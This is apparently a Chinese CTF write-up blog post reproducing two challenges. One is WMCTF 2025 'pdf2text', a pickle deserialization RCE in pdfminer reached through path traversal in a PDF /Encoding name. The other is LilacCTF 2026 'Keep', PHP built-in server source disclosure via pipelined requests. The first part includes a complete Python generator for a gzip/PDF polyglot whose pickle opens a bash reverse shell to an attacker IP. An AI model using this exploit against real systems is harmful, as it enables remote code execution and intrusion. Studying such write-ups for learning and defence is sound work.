WMCTF 2025 pdf2text 复现学习

WMCTF 2025 pdf2text 复现学习

pdf2text

tags: python反序列化,pickle

给了附件和docker,审计源码,叫ai找可能利用的地方。

最后的想分析,问题应该在pdfminer组件上。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#app.py
@app.route('/upload', methods=['POST'])
def upload_file():
if 'file' not in request.files:
return 'No file part', 400

file = request.files['file']
filename = file.filename
if filename == '':
return 'No selected file', 400

if '..' in filename or '/' in filename: #简单过滤,含有'..'和'/'的文件名不会给通过
return 'directory traversal is not allowed', 403

pdf_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
pdf_content = file.stream.read()

try:
# just if is a pdf
parser = PDFParser(io.BytesIO(pdf_content))
doc = PDFDocument(parser) #判断是否为何合法pdf
except Exception as e:
return str(e), 500

try:
pdf_to_text(pdf_path, txt_path)
except Exception as e:
return str(e), 500

return send_file(txt_path, as_attachment=True)

if __name__ == '__main__':
app.run(host='0.0.0.0', port=5000)

其它代码没有看看出问题,结构简单,那考虑pdfminer组件的问题

上网查找关于pdfminer,能找到 CVE-2025-64512
注意到开赛时漏洞还没有披露

英文分析有点难看懂,尝试看了这篇 解析

看pickle反序列化,魔术方法 reduce 的return能调用函数或者类,还能加入参数。当pickle反序列化到__reduce__时能达到任意代码执行

复现题目时发现pdfminer的版本为默认最新版本,可能是因为比赛时漏洞还未披露,所以当时最新版本就是漏洞版本

配置环境时把pdfminer换成20250506版本

随即找到了cmapdb.py的关键代码

具体利用看这篇 wp

详细找洞过程看官方的wp:

先是注意到有一个_load_data方法用了危险方法pickle.load,随后用整个文件问ai是怎么调用到_load_data方法内部,发现是在pdf的/Encoding

之后尝试控制/Encoding 进行目录穿越,发现可以穿越。能指向恶意代码,pickle.load会对穿越后的目录进行gzfile.read()后并反序列化

最后解决如何绕过app.py的限制上传gzip文件,还有pdf构建的问题,并通过路径指向正确的gz文件上传路径

成功反序列化执行任意代码

叫ai给出代码来生成gz和pdf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import zlib
import struct
import binascii

# ================= 配置区 =================
LHOST = "192.168.10.9" # 你的监听IP
LPORT = "9999" # 你的监听端口
# 容器内上传后的文件名(不带后缀),请务必与实际一致
REMOTE_FILENAME = "evil"
TARGET_ABS_PATH = f"/proc/self/cwd/uploads/{REMOTE_FILENAME}"
# ==========================================

def build_pdf_in_gz(abs_base: int) -> bytes:
"""构造嵌入在 Gzip Header 里的 PDF 结构"""
header = b"%PDF-1.7\n"
def obj(n, body: bytes): return f"{n} 0 obj\n".encode() + body + b"\nendobj\n"

objs = []
objs.append(obj(1, b"<< /Type /Catalog /Pages 2 0 R >>"))
objs.append(obj(2, b"<< /Type /Pages /Count 1 /Kids [3 0 R] >>"))
objs.append(obj(3, b"<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << /Font << /F1 4 0 R >> >> /Contents 5 0 R >>"))
objs.append(obj(4, b"<< /Type /Font /Subtype /Type1 /BaseFont /Helvetica >>"))
objs.append(obj(5, b"<< /Length 5 >>\nstream\n(pwn)\nendstream"))

body = header
offsets = []
cursor = abs_base + len(header)
for o in objs:
offsets.append(cursor)
body += o
cursor += len(o)

entries = [b"\x01" + struct.pack(">I", off) + b"\x00\x00" for off in offsets]
xref_stream = zlib.compress(b"".join(entries))
xref_obj = (
b"6 0 obj\n<< /Type /XRef /Size 7 /Root 1 0 R /W [1 4 2] /Index [1 5] "
b"/Filter /FlateDecode /Length " + str(len(xref_stream)).encode() + b" >>\nstream\n" +
xref_stream + b"\nendstream\nendobj\n"
)
trailer = b"startxref\n" + str(abs_base + len(body)).encode() + b"\n%%EOF\n"
return body + xref_obj + trailer

if __name__ == "__main__":
# --- 1. 手动构造 Pickle 字节码 (RCE) ---
# 这段字节码的含义:调用 os.system('bash...')
# c: GLOBAL, (: MARK, V: UNICODE string, t: TUPLE, R: REDUCE, .: STOP
cmd = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"
payload = b"cos\nsystem\n(V" + cmd.encode() + b"\ntR."

# --- 2. 构造 Gzip Polyglot ---
pdf_data = build_pdf_in_gz(12) # Gzip Header(10) + FEXTRA Len(2)
gz_header = b"\x1f\x8b\x08\x04\x00\x00\x00\x00\x00\xff"
gz_header += struct.pack("<H", len(pdf_data)) + pdf_data

comp = zlib.compressobj(level=9, wbits=-15)
deflated = comp.compress(payload) + comp.flush()
gz_footer = struct.pack("<II", binascii.crc32(payload) & 0xffffffff, len(payload) & 0xffffffff)

with open("evil.pickle.gz", "wb") as f:
f.write(gz_header + deflated + gz_footer)

# --- 3. 构造 Trigger PDF ---
enc_path = "/" + TARGET_ABS_PATH.replace("/", "#2F")
trigger = (
b"%PDF-1.4\n1 0 obj\n<< /Type /Catalog /Pages 2 0 R >>\nendobj\n"
b"2 0 obj\n<< /Type /Pages /Count 1 /Kids [3 0 R] >>\nendobj\n"
b"3 0 obj\n<< /Type /Page /Parent 2 0 R /MediaBox [0 0 612 792] /Resources << /Font << /F1 5 0 R >> >> /Contents 4 0 R >>\nendobj\n"
b"4 0 obj\n<< /Length 1 >>\nstream\nA\nendstream\nendobj\n"
b"5 0 obj\n<< /Type /Font /Subtype /Type0 /BaseFont /Identity-H /Encoding " + enc_path.encode() + b" /DescendantFonts [6 0 R] >>\nendobj\n"
b"6 0 obj\n<< /Type /Font /Subtype /CIDFontType2 /BaseFont /Dummy /CIDSystemInfo << /Registry (Adobe) /Ordering (Identity) /Supplement 0 >> >>\nendobj\n"
)
xref_off = len(trigger)
trigger += b"xref\n0 7\n0000000000 65535 f \ntrailer\n<< /Size 7 /Root 1 0 R >>\nstartxref\n" + str(xref_off).encode() + b"\n%%EOF\n"

with open("trigger.pdf", "wb") as f:
f.write(trigger)

print("[+] 生成成功:evil.pickle.gz, trigger.pdf")

外部加载逻辑:当 PDF 文件中引用了一个不属于内置库的 Encoding(编码表)时,pdfminer 会尝试在本地文件系统中寻找对应的 .pickle.gz 文件来加载。

然后在 pdfminer/cmapdb.py 中,程序找到文件后,会直接执行以下操作:

1
2
3
with gzip.open(path, 'rb') as f:
data = f.read()
return pickle.loads(data) # <--- 致命漏洞点

虽然 pdfminer 有一定的路径限制,但由于它会将 /Encoding 后的名字直接拼接到路径中,我们可以通过 ../ 或绝对路径绕过,强制它读取我们上传的恶意文件

Gzip Header 走私 (FEXTRA)

普通的 Gzip 文件以 1f 8b 开头。Gzip 协议允许在头部包含一个 FEXTRA(额外字段)。

脚本操作:我们把一整段 PDF 结构(Objects, XRef, Trailer)塞进了这个 Extra 字段里。

效果:Gzip 解压工具会跳过这段数据去读后面的 Pickle;而 PDF 解析器会忽略前面的 Gzip 标志,直接去搜寻末尾的 startxref。

PDF 解析的核心是 startxref。它告诉解析器:“从文件开头数第 X 个字节开始是我的索引表”。

脚本操作:abs_base=12 是因为 Gzip 头部(10字节)+ Extra 长度声明(2字节)正好是 12。

效果:这保证了 PDF 解析器能在这个“伪装成压缩包”的文件里精准定位到 PDF 对象,从而通过 pdfminer 的初步合法性检查。

/proc/self/cwd 是 Linux 的一个特性,指向当前进程的工作目录,这让路径寻找变得极其可靠。

LilacCTF 2026 web 复现

Keep

学习星盟的wp

扫描目录发现全是404,访问不存在的文件回显index.php,显然是php -S 起的服务
https://projectdiscovery.io/blog/php-http-server-source-disclosure

问了一下ai

漏洞成因简述:

请求管道触发状态混淆
攻击者发送两个连续的 HTTP 请求(如 GET /phpinfo.php 后紧跟 GET /),利用 PHP 开发服务器对 pipelined 请求的解析机制。
第一个请求设置 path_translated
第一个请求(如 /phpinfo.php)被正常解析。
函数 php_cli_server_request_translate_vpath() 将 request->path_translated 设置为实际文件路径(如 /var/www/phpinfo.php)。
第二个请求未重置关键字段
第二个请求(如 /)尝试访问根目录,若目录下无 index.php 或 index.html,则 php_cli_server_request_translate_vpath() 不会更新 path_translated,而是直接返回。
此时 request->path_translated 仍保留第一个请求的值(即 phpinfo.php 的路径)。
但 request->ext(文件扩展名)来自第二个请求(可能是空或非 .php)。
判断逻辑错误:当成静态文件返回
服务器检查 request->ext 发现不是 .php,于是将请求标记为 静态文件请求(is_static_file = 1)。
然而,它打开的文件却是 request->path_translated(即 phpinfo.php 的完整路径)!
结果:PHP 源码被当作纯文本返回
服务器没有执行 PHP 脚本,而是直接读取并返回其源代码内容,造成远程源码泄露。

可以拿到index.php 的源码,得到被注释掉的信息

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
GET /index.php HTTP/1.1
Host: 192.168.1.11:8080

GET /1.txt HTTP/1.1


HTTP/1.1 200 OK
Host: 192.168.1.11:8080
Date: Tue, 27 Jan 2026 17:21:06 GMT
Connection: close
Content-Type: text/plain; charset=UTF-8
Content-Length: 95

<?php
@error_reporting(0);

echo "Hello World!" . PHP_EOL;

// secret is in S3crEt.php.bak

根据漏洞原理,能尝试使.bak文件解析成php文件

由此实现rce


WMCTF 2025 pdf2text 复现学习
https://aidemofashi.github.io/2026/03/28/WMCTF-2025-pdf2text-复现学习/
作者
aidemofashi
发布于
2026年3月28日
许可协议